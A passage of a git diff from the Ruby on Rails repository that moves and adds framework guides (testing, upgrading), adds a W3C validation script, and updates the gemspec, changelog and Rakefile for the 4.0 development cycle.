+    @post = posts(:one)
+  end
+
+end
+</ruby>
+
+h3. Testing Routes
+
+Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default +show+ action of +Posts+ controller above should look like:
+
+<ruby>
+test "should route to post" do
+  assert_routing '/posts/1', { :controller => "posts", :action => "show", :id => "1" }
+end
+</ruby>
+
+h3. Testing Your Mailers
+
+Testing mailer classes requires some specific tools to do a thorough job.
+
+h4. Keeping the Postman in Check
+
+Your mailer classes -- like every other part of your Rails application -- should be tested to ensure that it is working as expected.
+
+The goals of testing your mailer classes are to ensure that:
+
+* emails are being processed (created and sent)
+* the email content is correct (subject, sender, body, etc)
+* the right emails are being sent at the right times
+
+h5. From All Sides
+
+There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a known value (a fixture.) In the functional tests you don't so much test the minute details produced by the mailer; instead, we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.
+
+h4. Unit Testing
+
+In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.
+
+h5. Revenge of the Fixtures
+
+For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within +test/fixtures+ directly corresponds to the name of the mailer. So, for a mailer named +UserMailer+, the fixtures should reside in +test/fixtures/user_mailer+ directory.
+
+When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.
+
+h5. The Basic Test Case
+
+Here's a unit test to test a mailer named +UserMailer+ whose action +invite+ is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an +invite+ action.
+
+<ruby>
+require 'test_helper'
+
+class UserMailerTest < ActionMailer::TestCase
+  tests UserMailer
+  test "invite" do
+    @expected.from    = 'me@example.com'
+    @expected.to      = 'friend@example.com'
+    @expected.subject = "You have been invited by #{@expected.from}"
+    @expected.body    = read_fixture('invite')
+    @expected.date    = Time.now
+
+    assert_equal @expected.encoded, UserMailer.create_invite('me@example.com', 'friend@example.com', @expected.date).encoded
+  end
+
+end
+</ruby>
+
+In this test, +@expected+ is an instance of +TMail::Mail+ that you can use in your tests. It is defined in +ActionMailer::TestCase+. The test above uses +@expected+ to construct an email, which it then asserts with email created by the custom mailer. The +invite+ fixture is the body of the email and is used as the sample content to assert against. The helper +read_fixture+ is used to read in the content from this file.
+
+Here's the content of the +invite+ fixture:
+
+<pre>
+Hi friend@example.com,
+
+You have been invited.
+
+Cheers!
+</pre>
+
+This is the right time to understand a little more about writing tests for your mailers. The line +ActionMailer::Base.delivery_method = :test+ in +config/environments/test.rb+ sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (+ActionMailer::Base.deliveries+).
+
+However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.
+
+h4. Functional Testing
+
+Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job. You are probably more interested in whether your own business logic is sending emails when you expect them to go out. For example, you can check that the invite friend operation is sending an email appropriately:
+
+<ruby>
+require 'test_helper'
+
+class UserControllerTest < ActionController::TestCase
+  test "invite friend" do
+    assert_difference 'ActionMailer::Base.deliveries.size', +1 do
+      post :invite_friend, :email => 'friend@example.com'
+    end
+    invite_email = ActionMailer::Base.deliveries.last
+
+    assert_equal "You have been invited by me@example.com", invite_email.subject
+    assert_equal 'friend@example.com', invite_email.to[0]
+    assert_match(/Hi friend@example.com/, invite_email.body)
+  end
+end
+</ruby>
+
+h3. Other Testing Approaches
+
+The built-in +test/unit+ based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:
+
+* "NullDB":http://avdi.org/projects/nulldb/, a way to speed up testing by avoiding database use.
+* "Factory Girl":https://github.com/thoughtbot/factory_girl/tree/master, a replacement for fixtures.
+* "Machinist":https://github.com/notahat/machinist/tree/master, another replacement for fixtures.
+* "Shoulda":http://www.thoughtbot.com/projects/shoulda, an extension to +test/unit+ with additional helpers, macros, and assertions.
+* "RSpec":http://relishapp.com/rspec, a behavior-driven development framework
diff --git a/guides/source/upgrading_ruby_on_rails.textile b/guides/source/upgrading_ruby_on_rails.textile
new file mode 100644
index 0000000000..680beb5dfe
--- /dev/null
+++ b/guides/source/upgrading_ruby_on_rails.textile
@@ -0,0 +1,216 @@
+h2. A Guide for Upgrading Ruby on Rails
+
+This guide provides steps to be followed when you upgrade your applications to a newer version of Ruby on Rails. These steps are also available in individual release guides.
+
+endprologue.
+
+h3. General Advice
+
+Before attempting to upgrade an existing application, you should be sure you have a good reason to upgrade. You need to balance out several factors: the need for new features, the increasing difficulty of finding support for old code, and your available time and skills, to name a few.
+
+h4(#general_testing). Test Coverage
+
+The best way to be sure that your application still works after upgrading is to have good test coverage before you start the process. If you don't have automated tests that exercise the bulk of your application, you'll need to spend time manually exercising all the parts that have changed. In the case of a Rails upgrade, that will mean every single piece of functionality in the application. Do yourself a favor and make sure your test coverage is good _before_ you start an upgrade.
+
+h4(#general_ruby). Ruby Versions
+
+Rails generally stays close to the latest released Ruby version when it's released:
+
+* Rails 3 and above requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible.
+* Rails 3.2.x will be the last branch to support Ruby 1.8.7.
+* Rails 4 will support only Ruby 1.9.3.
+
+TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.
+
+h3. Upgrading from Rails 3.2 to Rails 4.0
+
+NOTE: This section is a work in progress.
+
+If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting an update to Rails 4.0.
+
+The following changes are meant for upgrading your application to Rails 4.0.
+
+h4(#plugins4_0). vendor/plugins
+
+Rails 4.0 no longer supports loading plugins from <tt>vendor/plugins</tt>. You must replace any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, <tt>lib/my_plugin/*</tt> and add an appropriate initializer in <tt>config/initializers/my_plugin.rb</tt>.
+
+h4(#identity_map4_0). Identity Map
+
+Rails 4.0 has removed the identity map from Active Record, due to "some inconsistencies with associations":https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6. If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: <tt>config.active_record.identity_map</tt>.
+
+h4(#active_record4_0). Active Record
+
+The <tt>delete</tt> method in collection associations can now receive <tt>Fixnum</tt> or <tt>String</tt> arguments as record ids, besides records, pretty much like the <tt>destroy</tt> method does. Previously it raised <tt>ActiveRecord::AssociationTypeMismatch</tt> for such arguments. From Rails 4.0 on <tt>delete</tt> automatically tries to find the records matching the given ids before deleting them.
+
+Rails 4.0 has changed how orders get stacked in +ActiveRecord::Relation+. In previous versions of rails new order was applied after previous defined order. But this is no long true. Check "ActiveRecord Query guide":active_record_querying.html#ordering for more information.
+
+Rails 4.0 has changed <tt>serialized_attributes</tt> and <tt>_attr_readonly</tt> to class methods only. Now you shouldn't use instance methods, it's deprecated. You must change them, e.g. <tt>self.serialized_attributes</tt> to <tt>self.class.serialized_attributes</tt>.
+
+h4(#active_model4_0). Active Model
+
+Rails 4.0 has changed how errors attach with the <tt>ActiveModel::Validations::ConfirmationValidator</tt>. Now when confirmation validations fail the error will be attached to <tt>:#{attribute}_confirmation</tt> instead of <tt>attribute</tt>.
+
+h4(#action_pack4_0). Action Pack
+
+Rails 4.0 changed how <tt>assert_generates</tt>, <tt>assert_recognizes</tt>, and <tt>assert_routing</tt> work. Now all these assertions raise <tt>Assertion</tt> instead of <tt>ActionController::RoutingError</tt>.
+
+Rails 4.0 also changed the way unicode character routes are drawn. Now you can draw unicode character routes directly. If you already draw such routes, you must change them, e.g. <tt>get Rack::Utils.escape('こんにちは'), :controller => 'welcome', :action => 'index'</tt> to <tt>get 'こんにちは', :controller => 'welcome', :action => 'index'</tt>.
+
+h4(#helpers_order). Helpers Loading Order
+
+The loading order of helpers from more than one directory has changed in Rails 4.0. Previously, helpers from all directories were gathered and then sorted alphabetically. After upgrade to Rails 4.0 helpers will preserve the order of loaded directories and will be sorted alphabetically only within each directory. Unless you explicitly use <tt>helpers_path</tt> parameter, this change will only impact the way of loading helpers from engines. If you rely on the fact that particular helper from engine loads before or after another helper from application or another engine, you should check if correct methods are available after upgrade. If you would like to change order in which engines are loaded, you can use <tt>config.railties_order=</tt> method.
+
+h3. Upgrading from Rails 3.1 to Rails 3.2
+
+If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2.
+
+The following changes are meant for upgrading your application to Rails 3.2.2, the latest 3.2.x version of Rails.
+
+h4(#gemfile3_2). Gemfile
+
+Make the following changes to your +Gemfile+.
+
+<ruby>
+gem 'rails', '= 3.2.2'
+
+group :assets do
+  gem 'sass-rails',   '~> 3.2.3'
+  gem 'coffee-rails', '~> 3.2.1'
+  gem 'uglifier',     '>= 1.0.3'
+end
+</ruby>
+
+h4(#config_dev3_2). config/environments/development.rb
+
+There are a couple of new configuration settings that you should add to your development environment:
+
+<ruby>
+# Raise exception on mass assignment protection for Active Record models
+config.active_record.mass_assignment_sanitizer = :strict
+
+# Log the query plan for queries taking more than this (works
+# with SQLite, MySQL, and PostgreSQL)
+config.active_record.auto_explain_threshold_in_seconds = 0.5
+</ruby>
+
+h4(#config_test3_2). config/environments/test.rb
+
+The <tt>mass_assignment_sanitizer</tt> configuration setting should also be be added to <tt>config/environments/test.rb</tt>:
+
+<ruby>
+# Raise exception on mass assignment protection for Active Record models
+config.active_record.mass_assignment_sanitizer = :strict
+</ruby>
+
+h4(#plugins3_2). vendor/plugins
+
+Rails 3.2 deprecates <tt>vendor/plugins</tt> and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, <tt>lib/my_plugin/*</tt> and add an appropriate initializer in <tt>config/initializers/my_plugin.rb</tt>.
+
+h3. Upgrading from Rails 3.0 to Rails 3.1
+
+If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1.
+
+The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails.
+
+h4(#gemfile3_1). Gemfile
+
+Make the following changes to your +Gemfile+.
+
+<ruby>
+gem 'rails', '= 3.1.3'
+gem 'mysql2'
+
+# Needed for the new asset pipeline
+group :assets do
+  gem 'sass-rails',   "~> 3.1.5"
+  gem 'coffee-rails', "~> 3.1.1"
+  gem 'uglifier',     ">= 1.0.3"
+end
+
+# jQuery is the default JavaScript library in Rails 3.1
+gem 'jquery-rails'
+</ruby>
+
+h4(#config_app3_1). config/application.rb
+
+The asset pipeline requires the following additions:
+
+<ruby>
+config.assets.enabled = true
+config.assets.version = '1.0'
+</ruby>
+
+If your application is using an "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:
+
+<ruby>
+# Defaults to '/assets'
+config.assets.prefix = '/asset-files'
+</ruby>
+
+h4(#config_dev3_1). config/environments/development.rb
+
+Remove the RJS setting <tt>config.action_view.debug_rjs = true</tt>.
+
+Add these settings if you enable the asset pipeline:
+
+<ruby>
+# Do not compress assets
+config.assets.compress = false
+
+# Expands the lines which load the assets
+config.assets.debug = true
+</ruby>
+
+h4(#config_prod3_1). config/environments/production.rb
+
+Again, most of the changes below are for the asset pipeline. You can read more about these in the "Asset Pipeline":asset_pipeline.html guide.
+
+<ruby>
+# Compress JavaScripts and CSS
+config.assets.compress = true
+
+# Don't fallback to assets pipeline if a precompiled asset is missed
+config.assets.compile = false
+
+# Generate digests for assets URLs
+config.assets.digest = true
+
+# Defaults to Rails.root.join("public/assets")
+# config.assets.manifest = YOUR_PATH
+
+# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
+# config.assets.precompile += %w( search.js )
+
+# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+# config.force_ssl = true
+</ruby>
+
+h4(#config_test3_1). config/environments/test.rb
+
+You can help test performance with these additions to your test environment:
+
+<ruby>
+# Configure static asset server for tests with Cache-Control for performance
+config.serve_static_assets = true
+config.static_cache_control = "public, max-age=3600"
+</ruby>
+
+h4(#config_wp3_1). config/initializers/wrap_parameters.rb
+
+Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.
+
+<ruby>
+# Be sure to restart your server when you modify this file.
+# This file contains settings for ActionController::ParamsWrapper which
+# is enabled by default.
+
+# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
+ActiveSupport.on_load(:action_controller) do
+  wrap_parameters :format => [:json]
+end
+
+# Disable root element in JSON by default.
+ActiveSupport.on_load(:active_record) do
+  self.include_root_in_json = false
+end
+</ruby>
diff --git a/guides/w3c_validator.rb b/guides/w3c_validator.rb
new file mode 100644
index 0000000000..5e340499c4
--- /dev/null
+++ b/guides/w3c_validator.rb
@@ -0,0 +1,90 @@
+# ---------------------------------------------------------------------------
+#
+# This script validates the generated guides against the W3C Validator.
+#
+# Guides are taken from the output directory, from where all .html files are
+# submitted to the validator.
+#
+# This script is prepared to be launched from the railties directory as a rake task:
+#
+# rake validate_guides
+#
+# If nothing is specified, all files will be validated, but you can check just
+# some of them using this environment variable:
+#
+#   ONLY
+#     Use ONLY if you want to validate only one or a set of guides. Prefixes are
+#     enough:
+#
+#       # validates only association_basics.html
+#       ONLY=assoc rake validate_guides
+#
+#     Separate many using commas:
+#
+#       # validates only association_basics.html and migrations.html
+#       ONLY=assoc,migrations rake validate_guides
+#
+# ---------------------------------------------------------------------------
+
+require 'w3c_validators'
+include W3CValidators
+
+module RailsGuides
+  class Validator
+
+    def validate
+      validator = MarkupValidator.new
+      STDOUT.sync = true
+      errors_on_guides = {}
+
+      guides_to_validate.each do |f|
+        results = validator.validate_file(f)
+
+        if results.validity
+          print "."
+        else
+          print "E"
+          errors_on_guides[f] = results.errors
+        end
+      end
+
+      show_results(errors_on_guides)
+    end
+
+    private
+    def guides_to_validate
+      guides = Dir["./guides/output/*.html"]
+      guides.delete("./guides/output/layout.html")
+      ENV.key?('ONLY') ? select_only(guides) : guides
+    end
+
+    def select_only(guides)
+      prefixes = ENV['ONLY'].split(",").map(&:strip)
+      guides.select do |guide|
+        prefixes.any? {|p| guide.start_with?("./guides/output/#{p}")}
+      end
+    end
+
+    def show_results(error_list)
+      if error_list.size == 0
+        puts "\n\nAll checked guides validate OK!"
+      else
+        error_summary = error_detail = ""
+
+        error_list.each_pair do |name, errors|
+          error_summary += "\n  #{name}"
+          error_detail += "\n\n  #{name} has #{errors.size} validation error(s):\n"
+          errors.each do |error|
+            error_detail += "\n    "+error.to_s.delete("\n")
+          end
+        end
+
+        puts "\n\nThere are #{error_list.size} guides with validation errors:\n" + error_summary
+        puts "\nHere are the detailed errors for each guide:" + error_detail
+      end
+    end
+
+  end
+end
+
+RailsGuides::Validator.new.validate
diff --git a/install.rb b/install.rb
index 05bba27a14..b87b008c2e 100644
--- a/install.rb
+++ b/install.rb
@@ -1,6 +1,6 @@
 version = ARGV.pop
 
-%w( activesupport activemodel activerecord activeresource actionpack actionmailer railties ).each do |framework|
+%w( activesupport activemodel activerecord actionpack actionmailer railties ).each do |framework|
   puts "Installing #{framework}..."
   `cd #{framework} && gem build #{framework}.gemspec && gem install #{framework}-#{version}.gem --no-ri --no-rdoc && rm #{framework}-#{version}.gem`
 end
@@ -8,4 +8,4 @@ end
 puts "Installing Rails..."
 `gem build rails.gemspec`
 `gem install rails-#{version}.gem --no-ri --no-rdoc `
-`rm rails-#{version}.gem`
\ No newline at end of file
+`rm rails-#{version}.gem`
diff --git a/load_paths.rb b/load_paths.rb
index 17f5ce180d..0ad8fcfeda 100644
--- a/load_paths.rb
+++ b/load_paths.rb
@@ -1,4 +1,3 @@
 # bust gem prelude
-require 'rubygems' unless defined? Gem
 require 'bundler'
-Bundler.setup
\ No newline at end of file
+Bundler.setup
diff --git a/rails.gemspec b/rails.gemspec
index 3377b4e175..52f92f46c6 100644
--- a/rails.gemspec
+++ b/rails.gemspec
@@ -7,21 +7,23 @@ Gem::Specification.new do |s|
   s.summary     = 'Full-stack web application framework.'
   s.description = 'Ruby on Rails is a full-stack web framework optimized for programmer happiness and sustainable productivity. It encourages beautiful code by favoring convention over configuration.'
 
-  s.required_ruby_version     = '>= 1.8.7'
-  s.required_rubygems_version = ">= 1.3.6"
+  s.required_ruby_version     = '>= 1.9.3'
+  s.required_rubygems_version = ">= 1.8.11"
+  s.license     = 'MIT'
 
-  s.author            = 'David Heinemeier Hansson'
-  s.email             = 'david@loudthinking.com'
-  s.homepage          = 'http://www.rubyonrails.org'
+  s.author   = 'David Heinemeier Hansson'
+  s.email    = 'david@loudthinking.com'
+  s.homepage = 'http://www.rubyonrails.org'
 
-  s.bindir             = 'bin'
-  s.executables        = []
+  s.bindir      = 'bin'
+  s.executables = []
+  s.files       = Dir['guides/**/*']
 
-  s.add_dependency('activesupport',  version)
-  s.add_dependency('actionpack',     version)
-  s.add_dependency('activerecord',   version)
-  s.add_dependency('activeresource', version)
-  s.add_dependency('actionmailer',   version)
-  s.add_dependency('railties',       version)
-  s.add_dependency('bundler',        '~> 1.0')
+  s.add_dependency('activesupport',   version)
+  s.add_dependency('actionpack',      version)
+  s.add_dependency('activerecord',    version)
+  s.add_dependency('actionmailer',    version)
+  s.add_dependency('railties',        version)
+  s.add_dependency('bundler',         '~> 1.1')
+  s.add_dependency('sprockets-rails', '~> 1.0')
 end
diff --git a/railties/CHANGELOG.md b/railties/CHANGELOG.md
index 0c59f59917..fea18b5f47 100644
--- a/railties/CHANGELOG.md
+++ b/railties/CHANGELOG.md
@@ -1,23 +1,158 @@
-## Rails 3.2.0 (unreleased) ##
+## Rails 4.0.0 (unreleased) ##
 
-*   Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box. *José Valim*
+*   Correctly handle SCRIPT_NAME when generating routes to engine in application
+    that's mounted at a sub-uri. With this behavior, you *should not* use
+    default_url_options[:script_name] to set proper application's mount point by
+    yourself. *Piotr Sarnacki*
 
-*   Updated Rails::Rack::Logger middleware to apply any tags set in config.log_tags to the newly ActiveSupport::TaggedLogging Rails.logger. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications *DHH*
+*   `config.threadsafe!` is deprecated in favor of `config.eager_load` which provides a more fine grained control on what is eager loaded *José Valim*
 
-*   Default options to `rails new` can be set in ~/.railsrc *Guillermo Iguaran*
+*   The migration generator will now produce AddXXXToYYY/RemoveXXXFromYYY migrations with references statements, for instance
 
-*   Added destroy alias to Rails engines. *Guillermo Iguaran*
+        rails g migration AddReferencesToProducts user:references supplier:references{polymorphic}
 
-*   Added destroy alias for Rails command line. This allows the following: `rails d model post`. *Andrey Ognevsky*
+    will generate the migration with:
+
+        add_reference :products, :user, index: true
+        add_reference :products, :supplier, polymorphic: true, index: true
+
+    *Aleksey Magusev*
+
+*   Allow scaffold/model/migration generators to accept a `polymorphic` modifier
+    for `references`/`belongs_to`, for instance
+
+        rails g model Product supplier:references{polymorphic}
+
+    will generate the model with `belongs_to :supplier, polymorphic: true`
+    association and appropriate migration.
+
+    *Aleksey Magusev*
+
+*   Set `config.active_record.migration_error` to `:page_load` for development *Richard Schneeman*
+
+*   Add runner to Rails::Railtie as a hook called just after runner starts. *José Valim & kennyj*
+
+*   Add `/rails/info/routes` path, displays same information as `rake routes` *Richard Schneeman & Andrew White*
+
+*   Improved `rake routes` output for redirects *Łukasz Strzałkowski & Andrew White*
+
+*   Load all environments available in `config.paths["config/environments"]`. *Piotr Sarnacki*
+
+*   Add `config.queue_consumer` to allow the default consumer to be configurable. *Carlos Antonio da Silva*
+
+*   Add Rails.queue as an interface with a default implementation that consumes jobs in a separate thread. *Yehuda Katz*
+
+*   Remove Rack::SSL in favour of ActionDispatch::SSL. *Rafael Mendonça França*
+
+*   Remove Active Resource from Rails framework. *Prem Sichangrist*
+
+*   Allow to set class that will be used to run as a console, other than IRB, with `Rails.application.config.console=`. It's best to add it to `console` block. *Piotr Sarnacki*
+
+    Example:
+
+        # it can be added to config/application.rb
+        console do
+          # this block is called only when running console,
+          # so we can safely require pry here
+          require "pry"
+          config.console = Pry
+        end
+
+*   Add convenience `hide!` method to Rails generators to hide current generator
+    namespace from showing when running `rails generate`. *Carlos Antonio da Silva*
+
+*   Scaffold now uses `content_tag_for` in index.html.erb *José Valim*
+
+*   Rails::Plugin has gone. Instead of adding plugins to vendor/plugins use gems or bundler with path or git dependencies. *Santiago Pastorino*
+
+*   Set config.action_mailer.async = true to turn on asynchronous
+    message delivery *Brian Cardarella*
+
+
+## Rails 3.2.2 (March 1, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.1 (January 26, 2012) ##
+
+*   Documentation fixes.
+
+*   Migration generation understands decimal{1.2} and decimal{1-2}, in
+    addition to decimal{1,2}. *José Valim*
+
+
+## Rails 3.2.0 (January 20, 2012) ##
+
+*   Turn gem has been removed from default Gemfile. We still looking for a best presentation for tests output. *Guillermo Iguaran*
+
+*   Rails::Plugin is deprecated and will be removed in Rails 4.0. Instead of adding plugins to vendor/plugins use gems or bundler with path or git dependencies. *Santiago Pastorino*
+
+*   Guides are available as a single .mobi for the Kindle and free Kindle readers apps. *Michael Pearson & Xavier Noria*
+
+*   Allow scaffold/model/migration generators to accept a "index" and "uniq" modifiers, as in: "tracking_id:integer:uniq" in order to generate (unique) indexes. Some types also accept custom options, for instance, you can specify the precision and scale for decimals as "price:decimal{7,2}". *Dmitrii Samoilov*
+
+*   Added `config.exceptions_app` to set the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`. *José Valim*
+
+*   Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting `config.reload_classes_only_on_change` to false. *José Valim*
+
+*   New applications get a flag `config.active_record.auto_explain_threshold_in_seconds` in the environments configuration files. With a value of 0.5 in development.rb, and commented out in production.rb. No mention in test.rb. *fxn*
+
+*   Add DebugExceptions middleware which contains features extracted from ShowExceptions middleware *José Valim*
+
+*   Display mounted engine's routes in `rake routes` *Piotr Sarnacki*
+
+*   Allow to change the loading order of railties with `config.railties_order=` *Piotr Sarnacki*
+
+    Example:
+        config.railties_order = [Blog::Engine, :main_app, :all]
+
+*   Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box *José Valim*
+
+*   Update Rails::Rack::Logger middleware to apply any tags set in config.log_tags to the newly ActiveSupport::TaggedLogging Rails.logger. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications *DHH*
+
+*   Default options to `rails new` can be set in ~/.railsrc. You can specify extra command-line arguments to be used every time
+    'rails new' runs in the .railsrc configuration file in your home directory. *Guillermo Iguaran*
+
+*   Add destroy alias to Rails engines *Guillermo Iguaran*
+
+*   Add destroy alias for Rails command line. This allows the following: `rails d model post` *Andrey Ognevsky*
 
 *   Attributes on scaffold and model generators default to string. This allows the following: "rails g scaffold Post title body:text author" *José Valim*
 
-*   Removed old plugin generator (`rails generate plugin`) in favor of `rails plugin new` command. *Guillermo Iguaran*
+*   Remove old plugin generator (`rails generate plugin`) in favor of `rails plugin new` command *Guillermo Iguaran*
+
+*   Remove old 'config.paths.app.controller' API in favor of 'config.paths["app/controller"]' API *Guillermo Iguaran*
+
+
+## Rails 3.1.4 (March 1, 2012) ##
+
+*   Setting config.force_ssl also marks the session cookie as secure.
+
+    *José Valim*
+
+*   Add therubyrhino to Gemfile in new applications when running under JRuby.
+
+    *Guillermo Iguaran*
+
+
+## Rails 3.1.3 (November 20, 2011) ##
+
+*   New apps should be generated with a sass-rails dependency of 3.1.5, not 3.1.5.rc.2
+
+
+## Rails 3.1.2 (November 18, 2011) ##
+
+*   Engines: don't blow up if db/seeds.rb is missing.
 
-*   Removed old 'config.paths.app.controller' API in favor of 'config.paths["app/controller"]' API. *Guillermo Iguaran*
+    *Jeremy Kemper*
 
+*   `rails new foo --skip-test-unit` should not add the `:test` task to the rake default task.
+    *GH 2564*
 
-*   Rails 3.1.1
+    *José Valim*
+
+## Rails 3.1.1 (October 07, 2011) ##
 
 *   Add jquery-rails to Gemfile of plugins, test/dummy app needs it. Closes #3091. *Santiago Pastorino*
 
@@ -30,7 +165,6 @@
     Plugins developers need to special case their initializers that are
     meant to be run in the assets group by adding :group => :assets.
 
-
 ## Rails 3.1.0 (August 30, 2011) ##
 
 *   The default database schema file is written as UTF-8. *Aaron Patterson*
@@ -123,12 +257,37 @@
 *   Include all helpers from plugins and shared engines in application *Piotr Sarnacki*
 
 
+## Rails 3.0.12 (March 1, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.0.11 (November 18, 2011) ##
+
+*   Updated Prototype UJS to lastest version fixing multiples errors in IE [Guillermo Iguaran]
+
+
+## Rails 3.0.10 (August 16, 2011) ##
+
+*   No changes.
+
+
+## Rails 3.0.9 (June 16, 2011) ##
+
+*   No changes.
+
+
+## Rails 3.0.8 (June 7, 2011) ##
+
+*   Fix Rake 0.9.0 support.
+
+
 ## Rails 3.0.7 (April 18, 2011) ##
 
 *   No changes.
 
 
-*   Rails 3.0.6 (April 5, 2011)
+##   Rails 3.0.6 (April 5, 2011) ##
 
 *   No changes.
 
diff --git a/railties/MIT-LICENSE b/railties/MIT-LICENSE
index c73d1af096..03bde18130 100644
--- a/railties/MIT-LICENSE
+++ b/railties/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2011 David Heinemeier Hansson
+Copyright (c) 2004-2012 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/railties/README.rdoc b/railties/README.rdoc
index ae40600401..6248b5feed 100644
--- a/railties/README.rdoc
+++ b/railties/README.rdoc
@@ -21,7 +21,9 @@ Source code can be downloaded as part of the Rails project on GitHub
 
 == License
 
-Railties is released under the MIT license.
+Railties is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
 
 == Support
 
diff --git a/railties/Rakefile b/railties/Rakefile
index 25e515e016..993ba840ff 100755..100644
--- a/railties/Rakefile
+++ b/railties/Rakefile
@@ -1,4 +1,3 @@
-#!/usr/bin/env rake
 require 'rake/testtask'
 require 'rubygems/package_task'
 
@@ -21,7 +20,8 @@ namespace :test do
         'test',
         'lib',
         "#{File.dirname(__FILE__)}/../activesupport/lib",
-        "#{File.dirname(__FILE__)}/../actionpack/lib"
+        "#{File.dirname(__FILE__)}/../actionpack/lib",
+        "#{File.dirname(__FILE__)}/../activemodel/lib"
       ]
       ruby "-I#{dash_i.join ':'}", file
     end
@@ -44,18 +44,6 @@ task :update_readme do
   cp "./README.rdoc", readme
 end
 
-desc 'Generate guides (for authors), use ONLY=foo to process just "foo.textile"'
-task :generate_guides do
-  ENV["WARN_BROKEN_LINKS"] = "1" # authors can't disable this
-  ruby "guides/rails_guides.rb"
-end
-
-# Validate guides -------------------------------------------------------------------------
-desc 'Validate guides, use ONLY=foo to process just "foo.html"'
-task :validate_guides do
-  ruby "guides/w3c_validator.rb"
-end
-
 # Generate GEM ----------------------------------------------------------------------------
 
 spec = eval(File.read('railties.gemspec'))
@@ -72,12 +60,3 @@ task :release => :package do
   Rake::Gemcutter::Tasks.new(spec).define
   Rake::Task['gem:push'].invoke
 end
-
-desc "Publish the guides"
-task :pguides => :generate_guides do
-  require 'rake/contrib/sshpublisher'
-  mkdir_p 'pkg'
-  `tar -czf pkg/guides.gz guides/output`
-  Rake::SshFilePublisher.new("web.rubyonrails.org", "/u/sites/guides.rubyonrails.org/public", "pkg", "guides.gz").upload
-  `ssh web.rubyonrails.org 'cd /u/sites/guides.rubyonrails.org/public/ && tar -xvzf guides.gz && mv guides/output/* . && rm -rf guides*'`
-end
diff --git a/railties/guides/assets/images/belongs_to.png b/railties/guides/assets/images/belongs_to.png
deleted file mode 100644
index 44243edbca..0000000000
--- a/railties/guides/assets/images/belongs_to.png
+++ /dev/null
diff --git a/railties/guides/assets/images/book_icon.gif b/railties/guides/assets/images/book_icon.gif
deleted file mode 100644
index c81d5db520..0000000000
--- a/railties/guides/assets/images/book_icon.gif
+++ /dev/null
diff --git a/railties/guides/assets/images/challenge.png b/railties/guides/assets/images/challenge.png
deleted file mode 100644
index d163748640..0000000000
--- a/railties/guides/assets/images/challenge.png
+++ /dev/null
diff --git a/railties/guides/assets/images/chapters_icon.gif b/railties/guides/assets/images/chapters_icon.gif
deleted file mode 100644
index 06fb415f4a..0000000000
--- a/railties/guides/assets/images/chapters_icon.gif
+++ /dev/null
diff --git a/railties/guides/assets/images/check_bullet.gif b/railties/guides/assets/images/check_bullet.gif
deleted file mode 100644
index 1fcfeba250..0000000000
--- a/railties/guides/assets/images/check_bullet.gif
+++ /dev/null
diff --git a/railties/guides/assets/images/credits_pic_blank.gif b/railties/guides/assets/images/credits_pic_blank.gif
deleted file mode 100644
index f6f654fc65..0000000000
--- a/railties/guides/assets/images/credits_pic_blank.gif
+++ /dev/null
diff --git a/railties/guides/assets/images/csrf.png b/railties/guides/assets/images/csrf.png
deleted file mode 100644
index ab73baafe8..0000000000
--- a/railties/guides/assets/images/csrf.png
+++ /dev/null
diff --git a/railties/guides/assets/images/customized_error_messages.png b/railties/guides/assets/images/customized_error_messages.png
deleted file mode 100644
index fa676991e3..0000000000
